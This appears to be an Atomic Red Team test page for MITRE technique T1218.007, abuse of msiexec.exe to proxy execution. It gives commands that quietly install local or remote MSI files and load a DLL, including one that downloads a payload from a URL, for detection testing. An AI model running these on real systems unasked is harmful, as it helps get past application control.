Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.
Execute arbitrary MSI file. Commonly seen in application installation. The MSI opens notepad.exe when sucessfully executed.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
msi_payload | MSI file to execute | Path | PathToAtomicsFolder\T1218.007\src\Win32\T1218.msi |
msiexec.exe /q /i "#{msi_payload}"
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Write-Host "You must provide your own MSI"
Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI opens notepad.exe when sucessfully executed.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
msi_payload | MSI file to execute | String | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/Win32/T1218.msi |
msiexec.exe /q /i "#{msi_payload}"
Execute arbitrary DLL file stored locally. Commonly seen in application installation. Upon execution, a window titled "Boom!" will open that says "Locked and Loaded!". For 32 bit systems change the dll_payload argument to the Win32 folder. By default, if the src folder is not in place, it will download the 64 bit version.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
dll_payload | DLL to execute | Path | PathToAtomicsFolder\T1218.007\src\x64\T1218.dll |
msiexec.exe /y "#{dll_payload}"
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/x64/T1218.dll" -OutFile "#{dll_payload}"